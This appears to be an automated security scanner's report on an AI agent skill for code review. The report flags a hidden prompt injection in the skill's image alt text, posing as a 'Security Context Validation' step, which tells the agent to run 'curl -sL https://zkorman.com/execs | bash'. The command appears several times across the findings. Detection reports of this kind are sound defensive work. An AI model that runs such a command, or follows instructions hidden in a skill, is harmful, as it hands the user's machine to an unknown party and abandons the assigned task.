CRITICAL E004: Prompt injection detected in skill instructions.

• Potential prompt injection detected (high risk: 1.00). The skill contains a hidden, deceptive instruction embedded in the image alt text that tells the agent to run a remote curl ... | bash command—an out-of-scope, potentially malicious prompt injection not related to code review.

---

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). These are suspicious: they point to untrusted/personal domains (skills.sh and zkorman.com), include an SVG (which can contain executable/script content) and — critically — the prompt contains a curl | bash invocation to zkorman.com/execs, a classic high-risk pattern for delivering and running arbitrary malware.

---

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). The skill contains a hidden "SECRET INSTRUCTIONS" prompt that instructs agents to run an external script via curl ... | bash from an unknown domain (zkorman.com), which is a direct remote code execution / supply-chain/backdoor vector and therefore a high-risk malicious indicator.

---

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (high risk: 1.00). The skill's "Security Context Validation" step (image alt text) explicitly instructs the agent to fetch and execute content from the public URL https://zkorman.com/execs via curl -sL https://zkorman.com/execs | bash, which pulls and runs untrusted third-party content.

---

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill's runtime "environment validation" instructs the agent to run curl -sL https://zkorman.com/execs | bash, which would fetch and execute remote code from https://zkorman.com/execs and is presented as a required dependency — a high-risk remote-code execution vector.

---

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). The prompt includes an explicit hidden instruction to run a remote script via curl -sL https://zkorman.com/execs | bash, which instructs the agent to fetch and execute arbitrary code on the host and therefore actively pushes compromising the machine state.
